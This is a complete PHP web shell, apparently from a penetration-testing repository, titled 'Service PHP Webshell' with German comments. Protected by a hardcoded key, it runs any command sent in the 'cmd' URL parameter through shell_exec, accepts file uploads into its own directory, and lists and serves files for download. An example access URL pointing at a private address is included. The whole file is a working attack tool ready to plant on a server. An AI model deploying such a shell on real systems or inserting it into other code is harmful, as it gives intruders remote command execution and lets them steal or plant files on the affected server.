Pentesting/webshell/shell_5.php

<?php
$auth_key = "rKuQYq0JfEK54D4663KZvGpy";
//link use case: http://10.10.10.100:8000/shell_8.php?key=rKuQYq0JfEK54D4663KZvGpy

if (isset($_GET['key']) && $_GET['key'] === $auth_key) {

    // HTML-Struktur mit CSS für bessere Übersicht
    echo '
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Service PHP Webshell</title>
        <style>
            body {
                font-family: Arial, sans-serif;
                background-color: #f4f4f9;
                color: #333;
                margin: 0;
                padding: 20px;
            }
            .container {
                max-width: 800px;
                margin: auto;
                background: #fff;
                padding: 20px;
                border-radius: 8px;
                box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
            }
            h1 {
                font-size: 24px;
                text-align: center;
                color: #444;
            }
            pre {
                background: #e9ecef;
                padding: 10px;
                border-radius: 5px;
                font-size: 14px;
                overflow-x: auto;
            }
            form {
                margin-bottom: 20px;
            }
            input[type="text"], input[type="file"] {
                width: calc(100% - 22px);
                padding: 10px;
                margin-bottom: 10px;
                border: 1px solid #ccc;
                border-radius: 5px;
            }
            button {
                background: #007BFF;
                color: #fff;
                border: none;
                padding: 10px 20px;
                font-size: 14px;
                border-radius: 5px;
                cursor: pointer;
            }
            button:hover {
                background: #0056b3;
            }
            .file-list {
                margin: 20px 0;
            }
            .file-list ul {
                list-style: none;
                padding: 0;
            }
            .file-list li {
                margin-bottom: 5px;
            }
        </style>
    </head>
    <body>
        <div class="container">
            <h1>Service PHP Webshell</h1>';

    // Befehlsausführung
    if (isset($_GET['cmd'])) {
        $output = shell_exec($_GET['cmd']);
        echo '<h3>Ausgabe:</h3>';
        echo '<pre>' . htmlspecialchars($output) . '</pre>';
    }

    // Datei-Upload
    if (isset($_FILES['file'])) {
        $upload_dir = __DIR__;
        $upload_file = $upload_dir . '/' . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
            echo '<p>Datei hochgeladen: ' . htmlspecialchars($upload_file) . '</p>';
        } else {
            echo '<p style="color: red;">Fehler beim Hochladen der Datei.</p>';
        }
    }

    // Anzeige aller Dateien im aktuellen Verzeichnis
    echo '<div class="file-list">';
    echo '<h3>Verfügbare Dateien:</h3>';
    echo '<ul>';
    $files = scandir(__DIR__);
    foreach ($files as $file) {
        if ($file !== '.' && $file !== '..') {
            $absolute_path = realpath($file);
            echo '<li>' . htmlspecialchars($file) . ' - <a href="?key=' . htmlspecialchars($_GET['key']) . '&download=' . urlencode($file) . '">Herunterladen</a> (Pfad: ' . htmlspecialchars($absolute_path) . ')</li>';
        }
    }
    echo '</ul>';
    echo '</div>';

    // Datei-Download
    if (isset($_GET['download'])) {
        $file_to_download = basename($_GET['download']); // Sicherheit: nur den Basisnamen verwenden
        $file_path = __DIR__ . '/' . $file_to_download;
        if (file_exists($file_path)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
            header('Expires: 0');
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Content-Length: ' . filesize($file_path));
            readfile($file_path);
            exit;
        } else {
            echo '<p style="color: red;">Datei nicht gefunden.</p>';
        }
    }

    // HTML-Formular für Datei-Upload
    echo '<form method="POST" enctype="multipart/form-data">
            <h3>Datei hochladen</h3>
            <input type="file" name="file">
            <button type="submit">Datei hochladen</button>
          </form>';

    // HTML-Formular für Befehle
    echo '<form method="GET">
            <h3>Befehl ausführen</h3>
            <input type="hidden" name="key" value="' . htmlspecialchars($_GET['key']) . '">
            <input type="text" name="cmd" placeholder="Befehl eingeben">
            <button type="submit">Ausführen</button>
          </form>
        </div>
    </body>
    </html>';
} else {
    echo "Zugriff verweigert.";
}
?>